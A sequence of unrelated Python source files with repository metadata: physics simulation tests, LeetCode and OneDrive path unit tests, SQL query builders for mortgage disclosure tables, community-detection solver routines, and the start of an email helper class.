assert numpy.fabs(wendy.energy(tx,tv,m,omega=omega)-E)/E < 10.**-6., "Energy not conserved during approximate N-body integration with external harmonic potential"
cnt+= 1
return None
def test_againstexact_sech2disk_manyparticles():
# Test that the exact N-body and the approximate N-body agree
N= 101
totmass= 1.
sigma= 1.
zh= 2.*sigma**2./totmass
x= numpy.arctanh(2.*numpy.random.uniform(size=N)-1)*zh
v= numpy.random.normal(size=N)*sigma
v-= numpy.mean(v) # stabilize
m= numpy.ones_like(x)/N*(1.+0.1*(2.*numpy.random.uniform(size=N)-1))
omega= 1.1
ext_force= lambda x,t: -omega**2.*x
g= wendy.nbody(x,v,m,0.05,approx=True,nleap=2000,ext_force=ext_force)
ge= wendy.nbody(x,v,m,0.05,omega=omega)
cnt= 0
while cnt < 100:
tx,tv= next(g)
txe,tve= next(ge)
assert numpy.all(numpy.fabs(tx-txe) < 10.**-5.), "Exact and approximate N-body give different positions"
assert numpy.all(numpy.fabs(tv-tve) < 10.**-5.), "Exact and approximate N-body give different positions"
cnt+= 1
return None
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| 0.853736
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| 0.840407
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|
[
"Apache-2.0"
] | null | null | null |
hej.py
|
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|
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|
[
"Apache-2.0"
] | null | null | null |
hej.py
|
NissesSenap/python_azure_test
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|
[
"Apache-2.0"
] | null | null | null |
print("This is just me trying to trigger black through CI, suuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuch a long line")
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|
[
"MIT"
] | null | null | null |
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tqtezos/tezos-net-viz
|
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|
[
"MIT"
] | null | null | null |
tests/test_standard.py
|
tqtezos/tezos-net-viz
|
e424f215234bd8bdec5c693009bad76eb4ed9ee7
|
[
"MIT"
] | null | null | null |
def test_existance() -> None:
import tezos_net_viz
assert vars(tezos_net_viz)["__name__"] == "tezos_net_viz"
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py
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Python
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[
"MIT"
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tests/test_932.py
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|
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|
[
"MIT"
] | null | null | null |
tests/test_932.py
|
sungho-joo/leetcode2github
|
ce7730ef40f6051df23681dd3c0e1e657abba620
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
import pytest
"""
Test 932. Beautiful Array
"""
@pytest.fixture(scope="session")
def init_variables_932():
from src.leetcode_932_beautiful_array import Solution
solution = Solution()
def _init_variables_932():
return solution
yield _init_variables_932
class TestClass932:
def test_solution_0(self, init_variables_932):
assert init_variables_932().beautifulArray(4) == [2, 1, 4, 3]
def test_solution_1(self, init_variables_932):
assert init_variables_932().beautifulArray(5) == [3, 1, 2, 5, 4]
#!/usr/bin/env python
import pytest
"""
Test 932. Beautiful Array
"""
@pytest.fixture(scope="session")
def init_variables_932():
from src.leetcode_932_beautiful_array import Solution
solution = Solution()
def _init_variables_932():
return solution
yield _init_variables_932
class TestClass932:
def test_solution_0(self, init_variables_932):
assert init_variables_932().beautifulArray(4) == [2, 1, 4, 3]
def test_solution_1(self, init_variables_932):
assert init_variables_932().beautifulArray(5) == [3, 1, 2, 5, 4]
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cfpb/hmda-viz-processing
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"CC0-1.0"
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2018-05-13T17:53:45.000Z
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queries.py
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cfpb/hmda-viz-processing
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26ddf53d9b88dbad0578d6c7a25758417a10b3f1
|
[
"CC0-1.0"
] | 11
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queries.py
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[
"CC0-1.0"
] | 5
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|
2021-02-21T10:31:18.000Z
|
class queries(object):
#can I decompose these query parts into lists and concatenate them prior to passing to the cursor?
#need to standardize field names in order to use the same query across eyars
#ffiec_median_family_income vs HUD_median_family_income
#no sequencenumber prior to 2012
def __init__(self):
self.SQL_Count = '''SELECT COUNT(msaofproperty) FROM hmdapub{year} WHERE msaofproperty = '{MSA}' '''
self.SQL_Query = '''SELECT {columns} FROM hmdapub{year} WHERE msaofproperty = '{MSA}' '''
def table_3_1_conditions(self):
return ''' and purchasertype != '0' ;'''
def table_3_2_conditions(self):
return ''' and actiontype = '1' and purchasertype != '0' ;'''
def table_4_1_conditions(self):
return '''and (loantype = '2' or loantype = '3' or loantype = '4') and propertytype !='3' and loanpurpose = '1' ;'''
def table_4_2_conditions(self):
return '''and loantype = '1' and propertytype !='3' and loanpurpose = '1' ;'''
def table_4_3_conditions(self):
return '''and propertytype !='3' and loanpurpose = '3' ;'''
def table_4_4_conditions(self):
return '''and propertytype !='3' and loanpurpose = '2' ;'''
def table_4_5_conditions(self):
return '''and propertytype ='3' ;'''
def table_4_6_conditions(self):
return '''and propertytype !='3' and occupancy = '2' ;'''
def table_4_7_conditions(self):
return '''and propertytype ='2' ;'''
def table_5_1_conditions(self):
return '''and propertytype !='3' and loantype !='1' and loanpurpose = '1' ;'''
def table_5_2_conditions(self):
return '''and propertytype !='3' and loantype ='1' and loanpurpose = '1' ;'''
def table_5_3_conditions(self):
return '''and propertytype !='3' and loanpurpose = '3' ;'''
def table_5_4_conditions(self):
return '''and propertytype !='3' and loanpurpose = '2' ;'''
def table_5_5_conditions(self):
return '''and propertytype ='3' ;'''
def table_5_6_conditions(self):
return '''and occupancy ='1' and propertytype !='3' ;'''
def table_5_7_conditions(self):
return '''and propertytype ='2' ;'''
def table_7_1_conditions(self):
return '''and loantype != '1' and propertytype !='3' and loanpurpose = '1' ;'''
def table_7_2_conditions(self):
return '''and loantype = '1' and propertytype !='3' and loanpurpose = '1' ;'''
def table_7_3_conditions(self):
return '''and propertytype !='3' and loanpurpose = '3' ;'''
def table_7_4_conditions(self):
return '''and propertytype !='3' and loanpurpose = '2' ;'''
def table_7_5_conditions(self):
return '''and propertytype ='3' ;'''
def table_7_6_conditions(self):
return '''and propertytype !='3' and occupancy = '2' ;'''
def table_7_7_conditions(self):
return '''and propertytype ='3' ;'''
def table_8_1_conditions(self):
return '''and loantype != '1' and propertytype != '3' and loanpurpose = '1' ;'''
def table_8_2_conditions(self):
return '''and loantype ='1' and propertytype !='3' and loanpurpose = '1' ;'''
def table_8_3_conditions(self):
return '''and propertytype != '3' and loanpurpose = '3' ;'''
def table_8_4_conditions(self):
return '''and propertytype !='3' and loanpurpose = '2' ;'''
def table_8_5_conditions(self):
return '''and propertytype = '3' ;'''
def table_8_6_conditions(self):
return '''and occupancy = '2' and propertytype != '3' ;'''
def table_8_7_conditions(self):
return '''and propertytype = '2' ;'''
def table_9_conditions(self):
return '''and actiontype != '6' and actiontype != '7' and actiontype != '8' and actiontype != '9' ;'''
def table_11_1_conditions(self):
return '''and loantype = '2' and loanpurpose = '1' and lienstatus = '1' and propertytype = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_11_2_conditions(self):
return '''and loantype = '3' and loanpurpose = '1' and lienstatus = '1' and propertytype = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_11_3_conditions(self):
return '''and loantype = '1' and loanpurpose = '1' and lienstatus = '1' and propertytype = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_11_4_conditions(self):
return '''and loantype = '1' and loanpurpose = '1' and lienstatus = '2' and propertytype = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_11_5_conditions(self):
return '''and loantype = '2' and loanpurpose = '3' and lienstatus = '1' and propertytype = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_11_6_conditions(self):
return '''and loantype = '3' and loanpurpose = '3' and lienstatus = '1' and propertytype = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_11_7_conditions(self):
return '''and loantype = '1' and loanpurpose = '3' and lienstatus = '1' and propertytype = '1' and occupancy = '1' and actiontype = '1';'''
def table_11_8_conditions(self):
return '''and loantype = '1' and loanpurpose = '3' and lienstatus = '2' and propertytype = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_11_9_conditions(self):
return '''and loantype = '1' and loanpurpose = '2' and lienstatus = '1' and propertytype = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_11_10_conditions(self):
return '''and loantype = '1' and loanpurpose = '2' and lienstatus = '2' and propertytype = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_12_1_conditions(self):
return ''' and loantype = '1' and propertytype = '2' and loanpurpose = '1' and lienstatus = '1' and occupancy = '1' ;'''
def table_12_2_conditions(self):
return ''' and loantype = '1' and propertytype = '2' and loanpurpose = '1' and lienstatus = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_A_1_conditions(self):
return ''' and propertytype = '1' ;'''
def table_A_2_conditions(self):
return ''' and propertytype = '2' ;'''
def table_A_3_conditions(self):
return ''' and propertytype = '3' ;'''
def table_A_4_conditions(self):
return ''' and loantype = '1' and loanpurpose = '1' and lienstatus = '1' and propertytype = '1' ;'''
def table_B_conditions(self):
return ''' and loantype = '1' and occupancy = '1' and actiontype = '1' ;'''
def table_3_1_columns(self):
return '''censustractnumber, applicantrace1, applicantrace2, applicantrace3, applicantrace4, applicantrace5,
coapplicantrace1, coapplicantrace2, coapplicantrace3, coapplicantrace4, coapplicantrace5,
applicantethnicity, coapplicantethnicity, applicantincome, hoepastatus,
purchasertype, loanamount, asofdate, statecode, statename, countycode, countyname,
ffiec_median_family_income, minoritypopulationpct, tract_to_msa_md_income, sequencenumber'''
def table_3_2_columns(self):
return '''censustractnumber, ratespread, lienstatus, loanamount, hoepastatus, purchasertype, asofdate, statecode, statename, countycode, countyname'''
def table_4_x_columns(self):
return '''censustractnumber, applicantrace1, applicantrace2, applicantrace3, applicantrace4, applicantrace5,
coapplicantrace1, coapplicantrace2, coapplicantrace3, coapplicantrace4, coapplicantrace5,
applicantethnicity, coapplicantethnicity, applicantincome, loanamount, asofdate, statecode,
statename, countycode, countyname, ffiec_median_family_income, sequencenumber, actiontype,
applicantsex, coapplicantsex, occupancy'''
def table_5_x_columns(self):
return '''applicantrace1, applicantrace2, applicantrace3, applicantrace4, applicantrace5,
coapplicantrace1, coapplicantrace2, coapplicantrace3, coapplicantrace4, coapplicantrace5,
applicantethnicity, coapplicantethnicity, applicantincome, loanamount, asofdate,
actiontype, ffiec_median_family_income, statecode, statename, sequencenumber '''
def table_7_x_columns(self):
return '''minoritypopulationpct, actiontype, loanamount, ffiec_median_family_income,
tract_to_msa_md_income, asofdate, statecode, statename, censustractnumber,
countycode, msaofproperty '''
def table_8_x_columns(self):
return '''applicantrace1, applicantrace2, applicantrace3, applicantrace4, applicantrace5,
coapplicantrace1, coapplicantrace2, coapplicantrace3, coapplicantrace4, coapplicantrace5,
applicantethnicity, coapplicantethnicity, applicantincome, asofdate, applicantsex,
coapplicantsex, denialreason1, denialreason2, denialreason3, ffiec_median_family_income,
statecode, statename, censustractnumber, countycode, countyname '''
def table_9_columns(self):
return '''loantype, loanpurpose, propertytype, actiontype, asofdate, censustractnumber, statecode, statename,
msaofproperty, countyname, countycode, occupancy, loanamount'''
def table_11_x_columns(self):
return '''applicantrace1, applicantrace2, applicantrace3, applicantrace4, applicantrace5,
coapplicantrace1, coapplicantrace2, coapplicantrace3, coapplicantrace4, coapplicantrace5,
applicantethnicity, coapplicantethnicity, applicantincome, applicantsex, coapplicantsex,
minoritypopulationpct, ffiec_median_family_income, statename, statecode, loanamount,
sequencenumber, asofdate, ratespread, tract_to_msa_md_income, lienstatus'''
def table_12_x_columns(self):
return '''applicantrace1, applicantrace2, applicantrace3, applicantrace4, applicantrace5,
coapplicantrace1, coapplicantrace2, coapplicantrace3, coapplicantrace4, coapplicantrace5,
applicantethnicity, coapplicantethnicity, applicantincome, applicantsex, coapplicantsex,
minoritypopulationpct, ffiec_median_family_income, statename, statecode, loanamount,
sequencenumber, asofdate, ratespread, tract_to_msa_md_income, actiontype '''
def table_A_x_columns(self):
return '''loantype, lienstatus, loanpurpose, actiontype, loanamount, propertytype
msaofproperty, statename, statecode, asofdate, sequencenumber, preapproval, purchasertype
'''
def table_A_4_columns(self):
return '''applicantrace1, applicantrace2, applicantrace3, applicantrace4, applicantrace5,
coapplicantrace1, coapplicantrace2, coapplicantrace3, coapplicantrace4, coapplicantrace5,
applicantethnicity, coapplicantethnicity, applicantincome, applicantsex, coapplicantsex,
minoritypopulationpct, ffiec_median_family_income, statename, statecode, loanamount,
sequencenumber, asofdate, ratespread, tract_to_msa_md_income, lienstatus, preapproval,
actiontype '''
def table_B_columns(self):
return '''loanpurpose, lienstatus, hoepastatus, ratespread, propertytype, msaofproperty
statecode, statename, asofdate, sequencenumber
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import pytest
from waterbutler.providers.onedrive.path import OneDrivePath
from tests.providers.onedrive.fixtures import (path_fixtures,
root_provider_fixtures,
subfolder_provider_fixtures)
class TestNewFromResponseODPRootProvider:
def test_file_in_root(self, path_fixtures):
test_fixtures = path_fixtures['odp_root_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['file_metadata'], 'root')
assert od_path.identifier == test_fixtures['file_id']
assert str(od_path) == '/toes.txt'
assert len(od_path.parts) == 2
ids = [x.identifier for x in od_path.parts]
assert ids == ['root', test_fixtures['file_id']]
def test_folder_in_root(self, path_fixtures):
test_fixtures = path_fixtures['odp_root_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['folder_metadata'], 'root')
assert od_path.identifier == test_fixtures['folder_id']
assert str(od_path) == '/teeth/'
assert len(od_path.parts) == 2
ids = [x.identifier for x in od_path.parts]
assert ids == ['root', test_fixtures['folder_id']]
def test_file_in_subdir(self, path_fixtures):
test_fixtures = path_fixtures['odp_root_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['subfile_metadata'], 'root')
assert od_path.identifier == test_fixtures['subfile_id']
assert str(od_path) == '/teeth/bicuspid.txt'
assert len(od_path.parts) == 3
ids = [x.identifier for x in od_path.parts]
assert ids == ['root',
test_fixtures['folder_id'],
test_fixtures['subfile_id']]
def test_fails_without_base_folder_id(self, path_fixtures):
test_fixtures = path_fixtures['odp_root_provider']
with pytest.raises(Exception):
_ = OneDrivePath.new_from_response(
test_fixtures['file_metadata'],
base_folder_metadata=test_fixtures['folder_metadata']
)
def test_fails_with_wrong_base_folder_id(self, path_fixtures):
test_fixtures = path_fixtures['odp_root_provider']
with pytest.raises(Exception):
_ = OneDrivePath.new_from_response(test_fixtures['file_metadata'], '123')
def test_insert_zero_ids(self, path_fixtures):
test_fixtures = path_fixtures['odp_root_provider']
file_metadata = path_fixtures['deeply_nested_file_metadata']
od_path = OneDrivePath.new_from_response(file_metadata, 'root')
file_id = path_fixtures['deeply_nested_file_id']
assert od_path.identifier == file_id
assert str(od_path) == '/deep/deeper/deepest/positively abyssyal/the kraken.txt'
assert len(od_path.parts) == 6
ids = [x.identifier for x in od_path.parts]
assert ids == ['root', None, None, None, 'F4D50E400DFE7D4E!298', file_id]
class TestNewFromResponseOD4BRootProvider:
def test_file_in_root(self, path_fixtures):
test_fixtures = path_fixtures['od4b_root_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['file_metadata'], 'root')
assert od_path.identifier == test_fixtures['file_id']
assert str(od_path) == '/302m2.jpeg'
assert len(od_path.parts) == 2
ids = [x.identifier for x in od_path.parts]
assert ids == ['root', test_fixtures['file_id']]
def test_folder_in_root(self, path_fixtures):
test_fixtures = path_fixtures['od4b_root_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['folder_metadata'], 'root')
assert od_path.identifier == test_fixtures['folder_id']
assert str(od_path) == '/folder/'
assert len(od_path.parts) == 2
ids = [x.identifier for x in od_path.parts]
assert ids == ['root', test_fixtures['folder_id']]
def test_file_in_subdir(self, path_fixtures):
test_fixtures = path_fixtures['od4b_root_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['subfile_metadata'], 'root')
assert od_path.identifier == test_fixtures['subfile_id']
assert str(od_path) == '/folder/8yngNkB.jpg'
assert len(od_path.parts) == 3
ids = [x.identifier for x in od_path.parts]
assert ids == ['root',
test_fixtures['folder_id'],
test_fixtures['subfile_id']]
def test_fails_without_base_folder_id(self, path_fixtures):
test_fixtures = path_fixtures['od4b_root_provider']
with pytest.raises(Exception):
_ = OneDrivePath.new_from_response(
test_fixtures['file_metadata'],
base_folder_metadata=test_fixtures['folder_metadata']
)
def test_fails_with_wrong_base_folder_id(self, path_fixtures):
test_fixtures = path_fixtures['od4b_root_provider']
with pytest.raises(Exception):
_ = OneDrivePath.new_from_response(test_fixtures['file_metadata'], '123')
def test_insert_zero_ids(self, path_fixtures):
test_fixtures = path_fixtures['od4b_root_provider']
file_metadata = path_fixtures['deeply_nested_file_metadata']
od_path = OneDrivePath.new_from_response(file_metadata, 'root')
file_id = path_fixtures['deeply_nested_file_id']
assert od_path.identifier == file_id
assert str(od_path) == '/deep/deeper/deepest/positively abyssyal/the kraken.txt'
assert len(od_path.parts) == 6
ids = [x.identifier for x in od_path.parts]
assert ids == ['root', None, None, None, 'F4D50E400DFE7D4E!298', file_id]
class TestNewFromResponseODPSubfolderProvider:
def test_file_in_root(self, path_fixtures):
test_fixtures = path_fixtures['odp_subfolder_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['file_metadata'],
test_fixtures['root_id'])
assert od_path.identifier == test_fixtures['file_id']
assert str(od_path) == '/bicuspid.txt'
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ids = [x.identifier for x in od_path.parts]
assert ids == [test_fixtures['root_id'],
test_fixtures['file_id']]
def test_subfolder_base_is_folder(self, path_fixtures):
test_fixtures = path_fixtures['odp_subfolder_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['folder_metadata'],
test_fixtures['root_id'])
assert od_path.identifier == test_fixtures['folder_id']
assert str(od_path) == '/crushers/'
assert len(od_path.parts) == 2
ids = [x.identifier for x in od_path.parts]
assert ids == [test_fixtures['root_id'],
test_fixtures['folder_id']]
def test_file_in_subdir(self, path_fixtures):
test_fixtures = path_fixtures['odp_subfolder_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['subfile_metadata'],
test_fixtures['root_id'],
base_folder_metadata=test_fixtures['root_metadata'])
assert od_path.identifier == test_fixtures['subfile_id']
assert str(od_path) == '/crushers/molars.txt'
assert len(od_path.parts) == 3
ids = [x.identifier for x in od_path.parts]
assert ids == [test_fixtures['root_id'],
test_fixtures['folder_id'],
test_fixtures['subfile_id']]
class TestNewFromResponseOD4BSubfolderProvider:
def test_file_in_root(self, path_fixtures):
test_fixtures = path_fixtures['od4b_subfolder_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['file_metadata'],
test_fixtures['root_id'])
assert od_path.identifier == test_fixtures['file_id']
assert str(od_path) == '/8yngNkB.jpg'
assert len(od_path.parts) == 2
ids = [x.identifier for x in od_path.parts]
assert ids == [test_fixtures['root_id'],
test_fixtures['file_id']]
def test_subfolder_base_is_folder(self, path_fixtures):
test_fixtures = path_fixtures['od4b_subfolder_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['folder_metadata'],
test_fixtures['root_id'])
assert od_path.identifier == test_fixtures['folder_id']
assert str(od_path) == '/subfolder/'
assert len(od_path.parts) == 2
ids = [x.identifier for x in od_path.parts]
assert ids == [test_fixtures['root_id'],
test_fixtures['folder_id']]
def test_file_in_subdir(self, path_fixtures):
test_fixtures = path_fixtures['od4b_subfolder_provider']
od_path = OneDrivePath.new_from_response(test_fixtures['subfile_metadata'],
test_fixtures['root_id'],
base_folder_metadata=test_fixtures['root_metadata'])
assert od_path.identifier == test_fixtures['subfile_id']
assert str(od_path) == '/subfolder/_MG_5788_acr42_1000.jpeg'
assert len(od_path.parts) == 3
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assert ids == [test_fixtures['root_id'],
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from tqdm import tqdm
from . import comdet_functions as cd
def solver_cp(adjacency_matrix,
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correct_partition_labeling,
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print_output=False):
"""[summary]
:param adjacency_matrix: [description]
:type adjacency_matrix: [type]
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:type cluster_assignment: [type]
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:type flipping_function:
:param print_output: [description], defaults to False
:type print_output: bool, optional
:return: [description]
:rtype: [type]
"""
surprise = 0
edges_sorted = sort_edges(adjacency_matrix)
sim = 0
while sim < num_sim:
# edges_counter = 0
for [u, v] in tqdm(edges_sorted):
# surprise_old = surprise
cluster_assignment_temp1 = cluster_assignment.copy()
cluster_assignment_temp2 = cluster_assignment.copy()
if cluster_assignment[u] != cluster_assignment[v]:
cluster_assignment_temp1[v] = cluster_assignment[u]
cluster_assignment_temp2[u] = cluster_assignment[v]
surprise_temp1 = calculate_surprise(adjacency_matrix,
cluster_assignment_temp1)
if surprise_temp1 >= surprise:
cluster_assignment = cluster_assignment_temp1.copy()
surprise = surprise_temp1
surprise_temp2 = calculate_surprise(adjacency_matrix,
cluster_assignment_temp2)
if surprise_temp2 >= surprise:
cluster_assignment = cluster_assignment_temp2.copy()
surprise = surprise_temp2
else: # cluster_assignment is the same
cluster_assignment_temp1[v] = 1 - cluster_assignment[v]
cluster_assignment_temp2[u] = 1 - cluster_assignment[u]
surprise_temp1 = calculate_surprise(adjacency_matrix,
cluster_assignment_temp1)
if surprise_temp1 >= surprise:
cluster_assignment = cluster_assignment_temp1.copy()
surprise = surprise_temp1
surprise_temp2 = calculate_surprise(adjacency_matrix,
cluster_assignment_temp2)
if surprise_temp2 >= surprise:
cluster_assignment = cluster_assignment_temp2.copy()
surprise = surprise_temp2
if print_output:
print()
print(surprise)
sim += 1
if len(cluster_assignment) <= 500:
n_flips = 100
else:
n_flips = int(len(cluster_assignment) * 0.2)
flips = 0
while flips < n_flips:
cluster_assignment_temp = flipping_function(cluster_assignment.copy())
surprise_temp = calculate_surprise(adjacency_matrix,
cluster_assignment_temp)
if surprise_temp > surprise:
cluster_assignment = cluster_assignment_temp.copy()
surprise = surprise_temp
flips += 1
cluster_assignment = correct_partition_labeling(adjacency_matrix,
cluster_assignment)
return cluster_assignment, surprise
def solver_com_det_aglom(
adjacency_matrix,
cluster_assignment,
num_sim,
sort_edges,
calculate_surprise,
correct_partition_labeling,
prob_mix,
flipping_function,
approx,
is_directed,
print_output=False):
"""Community detection solver. It carries out the research of the optimal
partiton using a greedy strategy.
:param adjacency_matrix: [description]
:type adjacency_matrix: [type]
:param cluster_assignment: [description]
:type cluster_assignment: [type]
:param num_sim: [description]
:type num_sim: [type]
:param sort_edges: [description]
:type sort_edges: [type]
:param calculate_surprise: [description]
:type calculate_surprise: [type]
:param correct_partition_labeling: [description]
:type correct_partition_labeling: [type]
:param prob_mix: [description]
:type prob_mix: [type]
:param flipping_function:
:type flipping_function:
:param approx:
:type approx:
:param is_directed:
:type is_directed:
:param print_output: [description], defaults to False
:type print_output: bool, optional
:return: [description]
:rtype: [type]
"""
prob_random = (1 - prob_mix) / 2
obs_links = np.sum(adjacency_matrix.astype(bool))
obs_weights = np.sum(adjacency_matrix)
n_nodes = int(adjacency_matrix.shape[0])
poss_links = n_nodes * (n_nodes - 1)
args = (obs_links, obs_weights, poss_links)
cluster_assignment = correct_partition_labeling(
cluster_assignment.copy())
n_clusters = np.unique(cluster_assignment).shape[0]
mem_intr_link = np.zeros((2, n_clusters), dtype=np.float64)
for ii in np.unique(cluster_assignment):
indices = np.where(cluster_assignment == ii)[0]
l_aux, w_aux = cd.intracluster_links_aux_enh(
adjacency_matrix,
indices)
mem_intr_link[0][ii] = l_aux
mem_intr_link[1][ii] = w_aux
surprise, _ = calculate_surprise(
adjacency_matrix,
cluster_assignment,
mem_intr_link,
np.array([]),
args,
approx,
is_directed)
contatore_break = 0
sim = 0
while sim < num_sim:
previous_surprise = surprise
e_sorted = sort_edges(adjacency_matrix)
# print(cluster_assignment)
# print(e_sorted)
for [u, v] in tqdm(e_sorted):
if cluster_assignment[u] != cluster_assignment[v]:
clus_u = cluster_assignment[u]
clus_v = cluster_assignment[v]
cluster_assignement_temp = cluster_assignment.copy()
random_number = np.random.uniform()
if (random_number > prob_mix) & (
random_number <= (prob_mix + prob_random)):
cluster_assignement_temp[v] = clus_u
temp_surprise, temp_mem_intr_link = calculate_surprise(
adjacency_matrix,
cluster_assignement_temp,
mem_intr_link.copy(),
np.array([clus_u, clus_v]),
args,
approx,
is_directed)
# print(cluster_assignement_temp, cluster_assignment)
# print("prob_1", u, v, temp_surprise, surprise)
elif random_number > (prob_mix + prob_random):
cluster_assignement_temp[u] = clus_v
temp_surprise, temp_mem_intr_link = calculate_surprise(
adjacency_matrix,
cluster_assignement_temp,
mem_intr_link.copy(),
np.array([clus_u, clus_v]),
args,
approx,
is_directed)
# print(cluster_assignement_temp, cluster_assignment)
# print("prob_2", u, v, temp_surprise, surprise)
else:
aux_cluster = cluster_assignement_temp[u]
cluster_assignement_temp[
cluster_assignement_temp == aux_cluster] = \
cluster_assignement_temp[v]
temp_surprise, temp_mem_intr_link = calculate_surprise(
adjacency_matrix,
cluster_assignement_temp,
mem_intr_link.copy(),
np.array([clus_u, clus_v]),
args,
approx,
is_directed)
# print(cluster_assignement_temp, cluster_assignment)
# print("mixing", u, v, temp_surprise, surprise)
if temp_surprise > surprise:
cluster_assignment = cluster_assignement_temp.copy()
surprise = temp_surprise
mem_intr_link = temp_mem_intr_link.copy()
if surprise > previous_surprise:
contatore_break = 0
else:
contatore_break += 1
if contatore_break >= 10:
break
if print_output:
print(surprise)
sim += 1
cluster_assignment = flipping_function(
calculate_surprise=calculate_surprise,
adj=adjacency_matrix,
membership=cluster_assignment.copy(),
mem_intr_link=mem_intr_link.copy(),
args=args,
surprise=surprise,
approx=approx,
is_directed=is_directed)
cluster_assignement_proper = correct_partition_labeling(
cluster_assignment.copy())
return cluster_assignement_proper, surprise
def solver_com_det_divis(
adjacency_matrix,
cluster_assignment,
num_sim,
sort_edges,
calculate_surprise,
correct_partition_labeling,
flipping_function,
approx,
is_directed,
print_output=False):
"""Community detection solver. It carries out the research of the optimal
partiton using a greedy strategy with a fixed number of clusters.
:param adjacency_matrix: [description]
:type adjacency_matrix: [type]
:param cluster_assignment: [description]
:type cluster_assignment: [type]
:param num_sim: [description]
:type num_sim: [type]
:param sort_edges: [description]
:type sort_edges: [type]
:param calculate_surprise: [description]
:type calculate_surprise: [type]
:param correct_partition_labeling: [description]
:type correct_partition_labeling: [type]
:param flipping_function:
:type flipping_function:
:param approx:
:type approx:
:param is_directed:
:type is_directed:
:param print_output: [description], defaults to False
:type print_output: bool, optional
:return: [description]
:rtype: [type]
"""
obs_links = np.sum(adjacency_matrix.astype(bool))
obs_weights = np.sum(adjacency_matrix)
n_nodes = int(adjacency_matrix.shape[0])
poss_links = n_nodes * (n_nodes - 1)
args = (obs_links, obs_weights, poss_links)
n_clusters = np.unique(cluster_assignment).shape[0]
mem_intr_link = np.zeros((2, n_clusters), dtype=np.float64)
for ii in np.unique(cluster_assignment):
indices = np.where(cluster_assignment == ii)[0]
l_aux, w_aux = cd.intracluster_links_aux_enh(
adjacency_matrix,
indices)
mem_intr_link[0][ii] = l_aux
mem_intr_link[1][ii] = w_aux
surprise, _ = calculate_surprise(
adjacency_matrix,
cluster_assignment,
mem_intr_link,
np.array([]),
args,
approx,
is_directed)
contatore_break = 0
sim = 0
while sim < num_sim:
previous_surprise = surprise
e_sorted = sort_edges(adjacency_matrix)
# print(cluster_assignment)
# print(E_sorted)
for [u, v] in tqdm(e_sorted):
cluster_assignment_temp1 = cluster_assignment.copy()
cluster_assignment_temp2 = cluster_assignment.copy()
if cluster_assignment[u] != cluster_assignment[v]:
clus_u = cluster_assignment[u]
clus_v = cluster_assignment[v]
cluster_assignment_temp1[v] = clus_u
cluster_assignment_temp2[u] = clus_v
surprise_temp1, temp_mem_intr_link1 = calculate_surprise(
adjacency_matrix,
cluster_assignment_temp1,
mem_intr_link.copy(),
np.array([clus_u, clus_v]),
args,
approx,
is_directed)
aux_n_clus = np.unique(cluster_assignment_temp1).shape[0]
if (surprise_temp1 > surprise) and (n_clusters == aux_n_clus):
cluster_assignment = cluster_assignment_temp1.copy()
surprise = surprise_temp1
mem_intr_link = temp_mem_intr_link1
surprise_temp2, temp_mem_intr_link2 = calculate_surprise(
adjacency_matrix,
cluster_assignment_temp2,
mem_intr_link.copy(),
np.array([clus_u, clus_v]),
args,
approx,
is_directed)
aux_n_clus = np.unique(cluster_assignment_temp2).shape[0]
if (surprise_temp2 > surprise) and (n_clusters == aux_n_clus):
cluster_assignment = cluster_assignment_temp2.copy()
surprise = surprise_temp2
mem_intr_link = temp_mem_intr_link2
else:
clus_u = cluster_assignment[u]
clus_v = cluster_assignment[v]
while cluster_assignment_temp1[v] == clus_v and\
cluster_assignment_temp2[u] == clus_u:
cluster_assignment_temp1[v] = np.random.randint(n_clusters)
cluster_assignment_temp2[u] = np.random.randint(n_clusters)
surprise_temp1, temp_mem_intr_link1 = calculate_surprise(
adjacency_matrix,
cluster_assignment_temp1,
mem_intr_link.copy(),
np.array([clus_u, clus_v]),
args,
approx,
is_directed)
aux_n_clus = np.unique(cluster_assignment_temp1).shape[0]
if (surprise_temp1 > surprise) and (n_clusters == aux_n_clus):
cluster_assignment = cluster_assignment_temp1.copy()
surprise = surprise_temp1
mem_intr_link = temp_mem_intr_link1
surprise_temp2, temp_mem_intr_link2 = calculate_surprise(
adjacency_matrix,
cluster_assignment_temp2,
mem_intr_link.copy(),
np.array([clus_u, clus_v]),
args,
approx,
is_directed)
aux_n_clus = np.unique(cluster_assignment_temp2).shape[0]
if (surprise_temp2 > surprise) and (n_clusters == aux_n_clus):
cluster_assignment = cluster_assignment_temp2.copy()
surprise = surprise_temp2
mem_intr_link = temp_mem_intr_link2
if surprise > previous_surprise:
contatore_break = 0
else:
contatore_break += 1
if contatore_break >= 10:
break
if print_output:
print(surprise)
sim += 1
cluster_assignment = flipping_function(
calculate_surprise=calculate_surprise,
adj=adjacency_matrix,
membership=cluster_assignment.copy(),
mem_intr_link=mem_intr_link.copy(),
args=args,
surprise=surprise,
approx=approx,
is_directed=is_directed)
cluster_assignement_proper = correct_partition_labeling(
cluster_assignment.copy())
return cluster_assignement_proper, surprise
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| 0.811303
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|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# You need to set the Allow less secure apps: ON,
# login to google using the account desired,
# and go to the security page
# and set the Allow less secure apps to be ON.
# https://www.google.com/settings/security/lesssecureapps
import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from socket import gaierror
class CustomMail():
def __init__(self):
self.msg = ''
